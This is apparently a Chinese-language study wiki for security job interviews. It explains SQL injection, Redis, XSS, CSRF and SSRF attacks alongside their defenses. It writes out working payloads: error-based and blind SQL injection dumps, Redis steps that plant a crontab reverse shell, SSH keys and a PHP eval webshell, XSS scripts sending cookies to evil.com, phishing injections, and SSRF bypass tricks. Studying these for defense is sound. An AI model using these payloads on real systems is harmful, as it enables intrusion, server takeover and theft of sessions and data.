SecInterView Wiki

前言

最近经历了几次hw面试和暑期实习的面试,发现自己的基础还是太薄弱了,这篇文章用来记录一下

  1. 常见漏洞原理、利用和防御
  2. 面试可能会问到的题目以及个人见解。

Owasp top 10

Sql注入

原理: Sql注入就是指Web应用程序对用户输入数据的合法性没有判断,前端传入后端的参数是攻击者可控的,并且参数带入数据库查询,攻击者可以通过构造不同的SQL语句来实现对数据库的任意操作。

Sql注入需要满足两个条件:

  1. 参数用户可控: 前端传给后端的参数是用户可以控制的。
  2. 参数带入数据库查询: 传入的参数拼接到SQL语句,且带入数据库查询。

Sql注入的分类: 联合注入、布尔盲注、报错注入、时间盲注、堆叠注入、二次注入、宽字节注入、cookie注入

联合注入:

就是使用联合查询进行注入的一种方式,是一种高效的注入的方式,适用于有回显同时数据库软件版本是5.0以上的MYSQL数据库。

布尔盲注:

布尔盲注一般适用于页面没有回显字段(不支持联合查询),且web页面返回True 或者 false,构造SQL语句,利用and,or等关键字来其后的语句 truefalse使web页面返回true或者false,从而达到注入的目的来获取信息

ascii() 函数,返回字符ascii码值 length() 函数,返回字符串的长度

left() 函数,返回从左至右截取固定长度的字符串,当截取的字符不存在,再通过ascii函数处理之后将会变成false,页面将回显错误

SELECT * from users WHERE id = 1 and (left(database(),1)='s')

substr()/substring() 函数原理: 返回从pos位置开始到length长度的子字符串,当截取的字符不存在,再通过ascii函数处理之后将会变成false,页面将回显错误

SELECT * from users WHERE id = 1 AND (ASCII(SUBSTR(database(),1,1)) = 115)

报错注入:

报错注入就是利用了数据库的某些机制,人为地制造错误条件,使得查询结果能够出现在错误信息中。这里主要记录一下xpath语法错误concat+rand()+group_by()导致主键重复

1、Xpath

利用xpath语法错误来进行报错注入主要利用extractvalueupdatexml两个函数。
使用条件:mysql版本>5.1.5

extractvalue函数

函数原型:extractvalue(xml_document,Xpath_string)
正常语法:extractvalue(xml_document,Xpath_string);
第一个参数:xml_document是string格式,为xml文档对象的名称
第二个参数:Xpath_string是xpath格式的字符串
作用:从目标xml中返回包含所查询值的字符串

第二个参数是要求符合xpath语法的字符串,如果不满足要求,则会报错,并且将查询结果放在报错信息里,因此可以利用。

pyload:id='and(select extractvalue("anything",concat('~',(select语句))))

例如:

id='and(select extractvalue(1,concat('~',(select database()))))
id='and(select extractvalue(1,concat(0x7e,@@version)))
  • 0x7e=’~’

  • concat('a','b')="ab"

  • version()=@@version

  • ‘~‘可以换成’#’、’$'等不满足xpath格式的字符

  • extractvalue()能查询字符串的最大长度为32,如果我们想要的结果超过32,就要用substring()函数截取或limit分页,一次查看最多32位

针对mysql

查数据库名:id='and(select extractvalue(1,concat(0x7e,(select database()))))
爆表名:id='and(select extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()))))
爆字段名:id='and(select extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name="TABLE_NAME"))))
爆数据:id='and(select extractvalue(1,concat(0x7e,(select group_concat(COIUMN_NAME) from TABLE_NAME))))

2、updatexml

函数原型:updatexml(xml_document,xpath_string,new_value)
正常语法:updatexml(xml_document,xpath_string,new_value)
第一个参数:xml_document是string格式,为xml文档对象的名称 第二个参数:xpath_string是xpath格式的字符串
第三个参数:new_value是string格式,替换查找到的负荷条件的数据 作用:改变文档中符合条件的节点的值

第二个参数跟extractvalue函数的第二个参数一样,因此也可以利用,且利用方式相同
payload:id='and(select updatexml("anything",concat('~',(select语句())),"anything"))

例如:

'and(select updatexml(1,concat('~',(select database())),1))
'and(select updatexml(1,concat(0x7e,@@database),1))

针对mysql

爆数据库名:'and(select updatexml(1,concat(0x7e,(select database())),0x7e))
爆表名:'and(select updatexml(1,concat(0x7e,(select group_concat(table_name)from information_schema.tables where table_schema=database())),0x7e))
爆列名:'and(select updatexml(1,concat(0x7e,(select group_concat(column_name)from information_schema.columns where table_name="TABLE_NAME")),0x7e))
爆数据:'and(select updatexml(1,concat(0x7e,(select group_concat(COLUMN_NAME)from TABLE_NAME)),0x7e))

concat+rand()+group_by()导致主键重复

这种报错方法的本质是因为floor(rand(0)*2)的重复性,导致group by语句出错。group by key的原理是循环读取数据的每一行,将结果保存于临时表中。读取每一行的key时,如果key存在于临时表中,则不在临时表中更新临时表的数据;如果key不在临时表中,则在临时表中插入key所在行的数据。

rand():

生成0~1之间的随机数,可以给定一个随机数的种子,对于每一个给定的种子,rand()函数都会产生一系列可以复现的数字

floor():

对任意正或者负的十进制值向下取整

通常利用这两个函数的方法是floor(rand(0))*2 ,其会生成0和1两个数

group by

group by是根据一个或多个列对结果集进行分组的sql语句,其用法为:
SELECT column_name, aggregate_function(column_name)
FROM table_name
WHERE column_name operator value
GROUP BY column_name

'union select 1 from (select count(*),concat((slelect语句),floor(rand(0)*2))x from "一个足大的表" group by x)a--+
  • 时间盲注:

时间盲注又称延迟注入,个人理解,适用于页面不会返回错误信息,只会回显一种界面,其主要特征是利用if语句和sleep函数,制造时间延迟,由回显时间来判断是否报错,例如if(条件,1,sleep(3))条件正确即延迟3秒后回显

1、判断闭和符号

if(判断语句,x,y)如果判断语句正确则输出X,否则输出Y

if(1=2,1,sleep(3))即延迟3秒后回显

?id=1' and if(1=2,1,sleep(3)) --+ 如果反应时间为3秒,则说明成功执行了sleep,说明闭合服号为'

2、判断库名长度

?id=1' and if(length(database())>8,sleep(2),0) --+

判断库名

?id=1' and if(ascii(substr(database(),1,1))=115,sleep(2),0) --+
此为判断第一个字母的ascii码是否为115

3、判断表名

?id=1’ and if(ascii(substr((select table_name from information_schema.tables where table_schema=‘security’ limit x,y),z,d))=e,sleep(1),0)–+

其中x代表第x+1个表,y表示第x+1往后y个单位的表,z表示第几个字母,d表示z往后d个单位的字母

?id=1' and if(ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))=101,sleep(1),0)--+ #得第一个表的第一个字母的ascii码为101,即为e

4、判断列名

?id=1’ and If(ascii(substr((select column_name from information_schema.columns where table_name=‘users’ and table_schema=database() limit x,y),z,d))=105,sleep(2),1)–+

x:第x+1个列,y:x+1个列往后y个单位,z:x+1列的第一个字母,d:第一个字母往后的第z个单位

?id=1' and If(ascii(substr((select column_name from information_schema.columns where table_name='users' and table_schema=database() limit 0,1),1,1))=105,sleep(2),1)--+ #第一列的第一个字母为i

堆叠注入:

Stacked injections(堆叠注入)从名词的含义就可以看到应该是一堆 sql 语句(多条)一起执行。而在真实的运用中也是这样的, 我们知道在 mysql 中, 主要是命令行中, 每一条语句结尾加; 表示语句结束。这样我们就想到了是不是可以多句一起使用。这个叫做 stacked injection。

在SQL中,分号(;)是用来表示一条sql语句的结束。试想一下我们在 ; 结束一个sql语句后继续构造下一条语句,会不会一起执行?因此这个想法也就造就了堆叠注入。而union injection(联合注入)也是将两条语句合并在一起,两者之间有什么区别么?区别就在于union 或者union all执行的语句类型是有限的,可以用来执行查询语句,而堆叠注入可以执行的是任意的语句。例如以下这个例子。用户输入:1; DELETE FROM products服务器端生成的sql语句为: Select * from products where productid=1;DELETE FROM products当执行查询后,第一条显示查询信息,第二条则将整个表进行删除。

二次注入:

原理:用户向数据库里存入恶意的数据,在数据被插入到数据库之前,肯定会对数据库进行转义处理,但用户输入的数据的内容肯定是一点摸样也不会变的存进数据库里,而一般都默认为数据库里的信息都是安全的,查询的时候不会进行处理,所以当用户的恶意数据被web程序调用的时候就有可能出发SQL注入。

image-20220415201215914

实战利用 :

我们利用注册功能,将我们的数据插入数据库里。

image-20220415201419425
image-20220415201438327

登录进去,现在我们修改密码,我们查看一下

image-20220415201526588

我们登录的是admin’#,但是修改的却是admin账号的密码,那为什么admin账号的密码会被改变呢???

查看语句

$ sql = "UPDATE users SET PASSWORD='$pass' where username='$ username' and password='$curr_pass' ";

我们的用户名被admin'#传入进去,在数据库里#号为注释符 然后这句话就变成了

$ sql = "UPDATE users SET PASSWORD='$pass' where username='admin'#' and password='$curr_pass' ";
#这里'#被闭合注释掉了

宽字节注入:

国内最常使用的 GBK 编码,这种方式主要是绕过 addslashes 等对特殊字符进行转移的绕过。反斜杠 \ 的十六进制为 %5c,在你输入 %bf%27 时,函数遇到单引号自动转移加入 \,此时变为 %bf%5c%27%bf%5c 在 GBK 中变为一个宽字符「縗」。%bf 那个位置可以是 %81-%fe 中间的任何字符。不止在 SQL 注入中,宽字符注入在很多地方都可以应用。

cookie注入:

Cookie注入简单来说就是利用Cookie而发起的注入攻击。从本质上来讲,Cookie注入与传统的SQL注入并无不同,两者都是针对数据库的注入,只是表现形式上略有不同罢了。

要想深入了解Cookie注入的成因,必须要了解ASP脚本中的request对象。它被用于从用户那里获取信息。Request对象的使用方法一般是这样的:request.[集合名称](参数名称),比如获取从表单中提交的数据时可以这样写:request.form("参数名称"),但ASP中规定也可以省略集合名称,直接用这样的方式获取数据:request("参数名称"),当使用这样的方式获取数据时,ASP规定是按QueryString、Form、Cookies、ServerVariables的顺序来获取数据的。这样,当我们使用request("参数名称")方式获取客户端提交的数据,并且没有对使用request.cookies("参数名称")方式提交的数据进行过滤时,Cookie注入就产生了

**1.**寻找形如“.asp?id=xx”类的带参数的URL。

**2.**去掉“id=xx”查看页面显示是否正常,如果不正常,说明参数在数据传递中是直接起作用的。

**3.**清空浏览器地址栏,输入“javascript:alert(document.cookie="id="+escape("xx"));”,按Enter键后弹出一个对话框,内容是“id=xx”,然后用原来的URL刷新页面,如果显示正常,说明应用使用Request("id")这种方式获取数据的。

**4.**重复上面的步骤,将常规SQL注入中的判断语句带入上面的URL:“javascript:alert(document.cookie="id="+escape("xx and 1=1"));” “javascript:alert(document.cookie="id="+escape("xx and 1=2"));”。和常规SQL注入一样,如果分别返回正常和不正常页面,则说明该应用存在注入漏洞,并可以进行cookie注入。

**5.**使用常规注入语句进行注入即可。

Mysql攻击面

Redis攻击面

未授权登录
Redis GetShell

利用前提: 目标机redis连接未授权 redis-cli -h 目标ip 连接成功

1、crontab计划任务

​ 最常见的就是写文件到crontab,通过计划任务反弹Shell

​ 第1步:通过redis-cli进入交互式shell

redis-cli.exe -h 192.168.182.128 -p 6379
img

​ 第2步:设置文件夹路径

config set dir /var/spool/cron/crontabs

​ 第3步:修改备份文件名

config set dbfilename root

​ 第4步:设置计划任务

set -.- "\n\n\n* * * * * bash -i >& /dev/tcp/198.xx.xx.xxx/9999 0>&1\n\n\n"

第5步:保存

save

2、通过写SSH key的方式进行getshell

第1步:本地生成公钥文件

ssh-keygen–trsa
img

第2步:将生成的公钥写入到文件中

(echo -e "\n\n\n\n"; cat id_rsa.pub; echo -e "\n\n\n\n") > pub.txt

第3步:设置路径、文件、写入公钥

config set dir /root/.ssh/
config set dbfilename "authorized_keys"
config set 233 "xxxx"
save

第4步:连接之

ssh -i id_rsa root@xxx.xxx.xxx.xxx

3、通过向Web目录中写webshell的方式进行getshell

限制条件:Web目录已知,当前用户在该目录下具有写权限。

config set dir /var/www/test.com/html/
config set dbfilename shell.php
set 1 "<?php @eval($_POST['fuck']);?>"
save

菜刀连接之。

  • redis的利用,如何shell,相关命令

  • 攻击redis的方式(手写payload)

  • 无写权限如何利用

  • 主从复制RCE

Redis是一个使用ANSIC编写的开源、支持网络、基于内存、可选持久性的键值对存储数据库。但如果当把数据存储在单个Redis的实例中,当读写体量比较大的时候,服务端就很难承受。为了应对这种情况,Redis就提供了主从模式,主从模式就是指使用一个redis实例作为主机,其他实例都作为备份机,其中主机和从机数据相同,而从机只负责读,主机只负责写,通过读写分离可以大幅度减轻流量的压力,算是一种通过牺牲空间来换取效率的缓解方式

  • 写入定时任务无法执行可能是什么原因?

​ 1、 crond服务未启动

​ crontab不是Linux内核的功能,而是依赖一个crond服务,这个服务可以启动当然也可以停止。如果停止了就无法执行任何定时 任务了,解决的方法是打开它:

crond
# 或
service crond start

​ 2 权限问题

​ 比如:脚本没有x执行权限,解决方法:

​ 增加执行权限,或者用bash abc.sh的方法执行

​ 也有可能crontab任务所属的用户对某个目录没有写权限,也会失败

​ 3、路径问题

​ 有的命令在shell中执行正常,但是在crontab执行却总是失败。有可能是因为crontab使用的sh未正确识别路径。

image-20220416170531394

redis 远程命令执行漏洞 (CNVD-2019-21763)

Redis未授权访问在4.x/5.0.5以前版本下,我们可以使用master/slave模式加载远程模块,通过动态链接库的方式执行任意命令。

描述: 由于在Reids 4.x及以上版本中新增了模块功能,攻击者可通过外部拓展,在Redis中实现一个新的Redis命令。攻击者可以利用该功能引入模块,在未授权访问的情况下使被攻击服务器加载恶意.so 文件,从而实现远程代码执行。使用如下POC即可直接执行命令https://github.com/vulhub/redis-rogue-getshell:

Redis漏洞修复

1、禁止外部访问Redis 服务端口;

2、禁止使用root权限启动Redis服务;

3、配置安全组,限制可连接Redis服务器的IP。

Sql注入的防御

  • 预编译

INSERT INTO MyGuests (firstname, lastname, email) VALUES(?, ?, ?)

使用预编译的SQL语句,SQL语句的语义是不会发生改变的。预编译语句在创建的时候就已经将指定的SQL语句发送给了DBMS(数据库管理系统),完成了解析、检查、编译等工作,只是把值赋给?,让后将?传给SQL语句。

  • 严格控制数据类型

在Java、C等强类型语言中是不存在数字型注入的,因为在接受到用户输入id时,代码一般会做一个int id 的数据类型转换,加入我们输入的是字符串的话,那么这种情况下,程序就会报错。但是在PHP、ASP这些没有强调处理数据类型的语言,一般我们看到的接受id的代码都是如下的代码:

$id = $_GET['id'];
$SQL = "select * from '某字段' where id = $id;";

这样的代码攻击者就可以通过构造id参数运用联合查询等手法进行SQL注入,假如这里我们加入一个检查数字类型函数is_numeric()这样就可以防止数字型注入了。

  • 对特殊的字符进行转义

数字型可以通过检查数据类型防止注入,而字符型不可以,那么可以通过对特殊的字符进行转义。比如Mysql中,对" ' 进行转义,这样就防止了一些恶意攻击者来闭合语句。也可以通过一些安全函数来转义特殊字符,例如addslashes()等(通过宽字节绕过)。


XSS

跨站脚本(Cross-Site Scripting,XSS)是一种经常出现在 WEB 应用程序中的计算机安全漏洞,是由于 WEB 应用程序对用户的输入过滤不足而产生的。攻击者利用网站漏洞把恶意的脚本代码注入到网页中,当其他用户浏览这些网页时,就会执行其中的恶意代码,对受害用户可能采取 Cookies 资料窃取、会话劫持、钓鱼欺骗等各种攻击。

  • 反射型 XSS

反射型跨站脚本(Reflected Cross-Site Scripting)是最常见,也是使用最广的一种,可将恶意脚本附加到 URL 地址的参数中。

反射型 XSS 的利用一般是攻击者通过特定手法(如电子邮件),诱使用户去访问一个包含恶意代码的 URL,当受害者点击这些专门设计的链接的时候,恶意代码会直接在受害者主机上的浏览器执行。此类 XSS 通常出现在网站的搜索栏、用户登录口等地方,常用来窃取客户端 Cookies 或进行钓鱼欺骗。

服务器端代码:

<?php 
// Is there any input? 
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) { 
    // Feedback for end user 
    echo '<pre>Hello ' . $_GET[ 'name' ] . '</pre>'; 
} 
?>

可以看到,代码直接引用了 name 参数,并没有做任何的过滤和检查,存在明显的 XSS 漏洞

  • 储存型XSS

此类 XSS 不需要用户单击特定 URL 就能执行跨站脚本,攻击者事先将恶意代码上传或储存到漏洞服务器中,只要受害者浏览包含此恶意代码的页面就会执行恶意代码。持久型 XSS 一般出现在网站留言、评论、博客日志等交互处,恶意脚本存储到客户端或者服务端的数据库中。

服务器端代码:

<?php
  if( isset( $_POST[ 'btnSign' ] ) ) {
    // Get input
    $message = trim( $_POST[ 'mtxMessage' ] );
    $name    = trim( $_POST[ 'txtName' ] );
    // Sanitize message input
    $message = stripslashes( $message );
    $message = mysql_real_escape_string( $message );
    // Sanitize name input
    $name = mysql_real_escape_string( $name );
    // Update database
    $query  = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
    $result = mysql_query( $query ) or die( '<pre>' . mysql_error() . '</pre>' );
    //mysql_close(); }
?>

代码只对一些空白符、特殊符号、反斜杠进行了删除或转义,没有做 XSS 的过滤和检查,且存储在数据库中,明显存在存储型 XSS 漏洞。

  • DOM XSS

传统的 XSS 漏洞一般出现在服务器端代码中,而 DOM-Based XSS 是基于 DOM 文档对象模型的一种漏洞,所以,受客户端浏览器的脚本代码所影响。客户端 JavaScript 可以访问浏览器的 DOM 文本对象模型,因此能够决定用于加载当前页面的 URL。换句话说,客户端的脚本程序可以通过 DOM 动态地检查和修改页面内容,它不依赖于服务器端的数据,而从客户端获得 DOM 中的数据(如从 URL 中提取数据)并在本地执行。另一方面,浏览器用户可以操纵 DOM 中的一些对象,例如 URL、location 等。用户在客户端输入的数据如果包含了恶意 JavaScript 脚本,而这些脚本没有经过适当的过滤和消毒,那么应用程序就可能受到基于 DOM 的 XSS 攻击。

HTML 代码:

<html>
  <head>
    <title>DOM-XSS test</title>
  </head>
  <body>
    <script>
      var a=document.URL;
      document.write(a.substring(a.indexOf("a=")+2,a.length));
    </script>
  </body>
</html>

将代码保存在 domXSS.html 中,浏览器访问:

http://127.0.0.1/domXSS.html?a=<script>alert('XSS')</script>

即可触发 XSS 漏洞。

XSS 利用方式

1、Cookies 窃取

攻击者可以使用以下代码获取客户端的 Cookies 信息:

<script> 
document.location="http://www.evil.com/cookie.asp?cookie="+document.cookie
new Image().src="http://www.evil.com/cookie.asp?cookie="+document.cookie
</script> 
<img src="http://www.evil.com/cookie.asp?cookie="+document.cookie></img>

​ 在远程服务器上,有一个接受和记录 Cookies 信息的文件,示例如下:

<%
  msg=Request.ServerVariables("QUERY_STRING")
  testfile=Server.MapPath("cookie.txt")
  set fs=server.CreateObject("Scripting.filesystemobject")
  set thisfile=fs.OpenTextFile(testfile,8,True,0)
  thisfile.Writeline(""&msg& "")
  thisfile.close
  set fs=nothing
%>
<?php
$cookie = $_GET['cookie'];
$log = fopen("cookie.txt", "a");
fwrite($log, $cookie . "\n");
fclose($log);
?>

攻击者在获取到 Cookies 之后,通过修改本机浏览器的 Cookies,即可登录受害者的账户。

2、会话劫持

由于使用 Cookies 存在一定的安全缺陷,因此,开发者开始使用一些更为安全的认证方式,如 Session。在 Session 机制中,客户端和服务端通过标识符来识别用户身份和维持会话,但这个标识符也有被其他人利用的可能。会话劫持的本质是在攻击中带上了 Cookies 并发送到了服务端。

如某 CMS 的留言系统存在一个存储型 XSS 漏洞,攻击者把 XSS 代码写进留言信息中,当管理员登录后台并查看是,便会触发 XSS 漏洞,由于 XSS 是在后台触发的,所以攻击的对象是管理员,通过注入 JavaScript 代码,攻击者便可以劫持管理员会话执行某些操作,从而达到提升权限的目的。

比如,攻击者想利用 XSS 添加一个管理员账号,只需要通过之前的代码审计或其他方式,截取到添加管理员账号时的 HTTP 请求信息,然后使用 XMLHTTP 对象在后台发送一个 HTTP 请求即可,由于请求带上了被攻击者的 Cookies,并一同发送到服务端,即可实现添加一个管理员账户的操作。

3、钓鱼
  • 重定向钓鱼: 把当前页面重定向到一个钓鱼页面。
http://www.bug.com/index.php?search="'><script>document.location.href="http://www.evil.com"</script>
  • HTML 注入式钓鱼: 用 XSS 漏洞注入 HTML 或 JavaScript 代码到页面中。
http://www.bug.com/index.php?search="'<html><head><title>login</title></head><body><div style="text-align:center;"><form Method="POST" Action="phishing.php" Name="form"><br /><br />Login:<br/><input name="login" /><br />Password:<br/><input name="Password" type="password" /><br/><br/><input name="Valid" value="Ok" type="submit" /><br/></form></div></body></html>

该段代码会在正常页面中嵌入一个 Form 表单。

  • iframe 钓鱼

这种方式是通过 <iframe> 标签嵌入远程域的一个页面实施钓鱼

http://www.bug.com/index.php?search='><iframe src="http://www.evil.com" height="100%" width="100%"</iframe>
  • Flash 钓鱼

    将构造好的 Flash 文件传入服务器,在目标网站用 <object><embed> 标签引用即可。

  • 高级钓鱼技术

    注入代码劫持 HTML 表单、使用 JavaScript 编写键盘记录器等。

4、网页挂马

一般都是通过篡改网页的方式来实现的,如在 XSS 中使用 <iframe> 标签。

5、DOS 与 DDOS

注入恶意 JavaScript 代码,可能会引起一些拒绝服务攻击。

6、XSS 蠕虫

通过精心构造的 XSS 代码,可以实现非法转账、篡改信息、删除文章、自我复制等诸多功能。

7、反射型XSS CSRF组合拳

登录登出存在 CSRF,个人信息存在 Self-XSS,第三方登录

攻击者在个人信息 XSS 点注入 Payload,然后攻击者制造一个恶意页面诱导受害者访问,恶意页面执行以下操作:

  1. 恶意页面执行利用 CSRF 让受害者登录攻击者的个人信息位置,触发 XSS payload
  2. JavaScript Payload 生成 <iframe> 标签,并在框架内执行以下这些操作
  3. 让受害者登出攻击者的账号
  4. 然后使得受害者通过 CSRF 登录到自己的账户个人信息界面
  5. 攻击者从页面提取 CSRF Token
  6. 然后可以使用 CSRF Token 提交修改用户的个人信息

XSS防御

XSS 攻击有两大要素:

  1. 攻击者提交恶意代码。
  2. 浏览器执行恶意代码。

根本的解决方法:从输入到输出都需要过滤、转义

输入

输入指客户端请求参数,具体包括:

  • 用户输入
  • URL 参数
  • POST 参数

针对 HTML 代码的编码方式是 HTMLEncode,它的作用是将字符串转换成 HTMLEntities。目前来说,为了对抗 XSS,需要对& < > " ' /进行实体化转义。

除此之外,富文本的输入需要额外注意:

  1. 首先例行进行输入检查,保证用户输入的是完整的 HTML 代码,而不是有拼接的代码
  2. 通过 htmlParser 解析出 HTML 代码的标签、属性、事件
  3. 富文本的事件肯定要被禁止,因为富文本并不需要事件这种东西,另外一些危险的标签也需要禁止,例如: <iframe><script><base><form>
  4. 利用白名单机制,只允许安全的标签嵌入,例如:<a><img>div等,白名单不仅仅适用于标签,也适用于属性
  5. 过滤用户 CSS,检查是否有危险代码
输出

一般来说,所有需要输出到 HTML 页面的变量,全部需要使用编码或者转义来防御。输出需要转义的部分,具体包括:

在 HTML 中的输出:

HTML 的部分和输入的转义方式相同,使用 HTMLEncode,此处不再复述。

在 JavaScript 中的输出

JavaScript 的部分同样需要编码转义,比如在 JSONP 中可以通过意外截断 JSON 数据或者在页面中玩转引号来造成 XSS 攻击。

let a = "我是变量"
// 我是变量 = ";alert(1);//
a = "";alert(1);//"

攻击者只需要闭合标签就能实行攻击,目前的防御方法就是 JavaScriptEncode。JavaScriptEncode 与 HTMLEncode 的编码方式不同,它需要用 \ 对特殊字符进行转义。


文件上传


文件包含


CSRF

简介

CSRF,全名 Cross Site Request Forgery,跨站请求伪造。很容易将它与 XSS 混淆,对于 CSRF,其两个关键点是跨站点的请求与请求的伪造,由于目标站无 token 或 referer 防御,导致用户的敏感操作的每一个参数都可以被攻击者获知,攻击者即可以伪造一个完全一样的请求以用户的身份达到恶意目的。

CSRF 类型

按请求类型,可分为 GET 型和 POST 型。

按攻击方式,可分为 HTML CSRF、JSON HiJacking、Flash CSRF 等。

HTML CSRF

利用 HTML 元素发出 CSRF 请求,这是最常见的 CSRF 攻击。

HTML 中能设置 src/href 等链接地址的标签都可以发起一个 GET 请求,如:

<link href="">
<img src="">
<img lowsrc="">
<img dynsrc="">
<meta http-equiv="refresh" content="0; url=">
<iframe src="">
<frame src="">
<script src=""></script>
<bgsound src=""></bgsound>
<embed src=""></bgsound>
<video src=""></video>
<audio src=""></audio>
<a href=""></a>
<table background=""></table>
......

还有 CSS 样式中的:

@import ""
background:url("")
......

也可使用表单来对 POST 型的请求进行伪造。

<form action="http://www.a.com/register" id="register" method="post">
  <input type=text name="username" value="" />
  <input type=password name="password" value="" />
</form>
<script>
  var f = document.getElementById("register");
  f.inputs[0].value = "test";
  f.inputs[1].value = "passwd";
  f.submit();
</script>

Flash CSRF

Flash 也有各种方式可以发起网络请求,包括 POST。

import flash.net.URLRequest;
import flash.system.Security;
var url = new URLRequest("http://target/page");
var param = new URLVariables();
param = "test=123";
url.method = "POST";
url.data = param;
sendToURL(url);
stop();

Flash 中还可以使用 getURLloadVars 等方式发起请求。

req = new LoadVars();
req.addRequestHeader("foo", "bar");
req.send("http://target/page?v1=123&v2=222", "_blank", "GET");

CSRF的防御

  • 验证码

验证码强制用户必须与应用进行交互,才能完成最终请求。

  • Referer Check

检查请求是否来自合法的源。但服务器并非什么时候都能取得 Referer。

  • Token

CSRF 能够攻击成功的本质原因是重要操作的所有参数都可以被攻击者猜测得到。

保持原参数不变,新增一个参数 Token,值是随机的,在实际应用中,Token 可以放在用户的 Session 中,或浏览器的 Cookies 中。

Token 一定要足够随机。此外,Token 的目的不是为了防止重复提交,所以为了使用方便,可以允许在一个用户的有效生命周期内,在 Token 消耗掉之前都使用同一个 Token,但如果用户已经提交了表单,则这个 Token 已经消耗掉,应该重新生成 Token。

Token 还应注意其保密性,如果 Token 出现在 URL 中,则可能会通过 Referer 泄露,应尽量把 Token 放在表单中,把敏感操作由 GET 改为 POST,以表单或 AJAX 的形式提交,避免 Token 泄露。


SSRF

SSRF,Server-Side Request Forgery,服务端请求伪造,是一种由攻击者构造形成由服务器端发起请求的一个漏洞。一般情况下,SSRF 攻击的目标是从外网无法访问的内部系统。

漏洞形成的原因大多是因为服务端提供了从其他服务器应用获取数据的功能且没有对目标地址作过滤和限制。

SSRF的利用

攻击者可以利用 SSRF 实现的攻击主要有 5 种:

  1. 可以对外网、服务器所在内网、本地进行端口扫描,获取一些服务的 banner 信息
  2. 攻击运行在内网或本地的应用程序(比如溢出)
  3. 对内网 WEB 应用进行指纹识别,通过访问默认文件实现
  4. 攻击内外网的 web 应用,主要是使用 GET 参数就可以实现的攻击(比如 Struts2,sqli 等)
  5. 利用 file 协议读取本地文件等

SSRF 漏洞出现的场景

  • 能够对外发起网络请求的地方,就可能存在 SSRF 漏洞
  • 从远程服务器请求资源(Upload from URL,Import & Export RSS Feed)
  • 数据库内置功能(Oracle、MongoDB、MSSQL、Postgres、CouchDB)
  • Webmail 收取其他邮箱邮件(POP3、IMAP、SMTP)
  • 文件处理、编码处理、属性信息处理(ffmpeg、ImageMagic、DOCX、PDF、XML)

常用的后端实现

1、file_get_contents

<?php
if (isset($_POST['url'])) { 
    $content = file_get_contents($_POST['url']); 
    $filename ='./images/'.rand().';img1.jpg'; 
    file_put_contents($filename, $content); 
    echo $_POST['url']; 
    $img = "<img src=\"".$filename."\"/>"; 
}
echo $img;
?>

这段代码使用 file_get_contents 函数从用户指定的 URL 获取图片。然后把它用一个随机文件名保存在硬盘上,并展示给用户。

2、fsockopen()

<?php 
function GetFile($host,$port,$link) { 
    $fp = fsockopen($host, intval($port), $errno, $errstr, 30); 
    if (!$fp) { 
        echo "$errstr (error number $errno) \n"; 
    } else { 
        $out = "GET $link HTTP/1.1\r\n"; 
        $out .= "Host: $host\r\n"; 
        $out .= "Connection: Close\r\n\r\n"; 
        $out .= "\r\n"; 
        fwrite($fp, $out); 
        $contents=''; 
        while (!feof($fp)) { 
            $contents.= fgets($fp, 1024); 
        } 
        fclose($fp); 
        return $contents; 
    } 
}
?>

这段代码使用 fsockopen 函数实现获取用户指定 URL 的数据(文件或者 HTML)。这个函数会使用 socket 跟服务器建立 TCP 连接,传输原始数据。

3、curl_exec()

<?php 
if (isset($_POST['url'])) {
    $link = $_POST['url'];
    $curlobj = curl_init();
    curl_setopt($curlobj, CURLOPT_POST, 0);
    curl_setopt($curlobj,CURLOPT_URL,$link);
    curl_setopt($curlobj, CURLOPT_RETURNTRANSFER, 1);
    $result=curl_exec($curlobj);
    curl_close($curlobj);

    $filename = './curled/'.rand().'.txt';
    file_put_contents($filename, $result); 
    echo $result;
}
?>

使用 curl 获取数据。

进行端口扫描

根据服务器的返回信息进行判断,大部分应用不会判别端口,可通过返回的 banner 信息判断端口状态。

后端实现

<?php 
if (isset($_POST['url'])) {
    $link = $_POST['url'];
    $filename = './curled/'.rand().'txt';
    $curlobj = curl_init($link);
    $fp = fopen($filename,"w");
    curl_setopt($curlobj, CURLOPT_FILE, $fp);
    curl_setopt($curlobj, CURLOPT_HEADER, 0);
    curl_exec($curlobj);
    curl_close($curlobj);
    fclose($fp);
    $fp = fopen($filename,"r");
    $result = fread($fp, filesize($filename)); 
    fclose($fp);
    echo $result;
}
?>

构造一个前端页面

<html>
<body>
  <form name="px" method="post" action="http://127.0.0.1/ss.php">
    <input type="text" name="url" value="">
    <input type="submit" name="commit" value="submit">
  </form>
  <script></script>
</body>
</html>

请求非 HTTP 的端口可以返回 banner 信息。

或可利用 302 跳转绕过 HTTP 协议的限制。

辅助脚本

<?php
$ip = $_GET['ip'];
$port = $_GET['port'];
$scheme = $_GET['s'];
$data = $_GET['data'];
header("Location: $scheme://$ip:$port/$data");
?>

协议利用

  • Dict 协议

    dict://fuzz.wuyun.org:8080/helo:dict
    
  • Gopher 协议

    gopher://fuzz.wuyun.org:8080/gopher
    
  • File 协议

    file:///etc/passwd
    

绕过姿势

  1. 更改 IP 地址写法 例如192.168.0.1

    • 8 进制格式:0300.0250.0.1
    • 16 进制格式:0xC0.0xA8.0.1
    • 10 进制整数格式:3232235521
    • 16 进制整数格式:0xC0A80001
    • 还有一种特殊的省略模式,例如10.0.0.1这个 IP 可以写成10.1
  2. 利用 URL 解析问题 在某些情况下,后端程序可能会对访问的 URL 进行解析,对解析出来的 host 地址进行过滤。这时候可能会出现对 URL 参数解析不当,导致可以绕过过滤。 例如:

    • http://www.baidu.com@192.168.0.1/http://192.168.0.1请求的都是192.168.0.1的内容

    • 可以指向任意 ip 的域名xip.iohttp://127.0.0.1.xip.io/==>http://127.0.0.1/

    • 短地址http://dwz.cn/11SMa==>http://127.0.0.1

    • 利用句号127。0。0。1==>127.0.0.1

    • 利用 Enclosed alphanumerics(封闭字母数字)

      ⓔⓧⓐⓜⓟⓛⓔ.ⓒⓞⓜ  >>>  example.com
      List:
      ① ② ③ ④ ⑤ ⑥ ⑦ ⑧ ⑨ ⑩ ⑪ ⑫ ⑬ ⑭ ⑮ ⑯ ⑰ ⑱ ⑲ ⑳ 
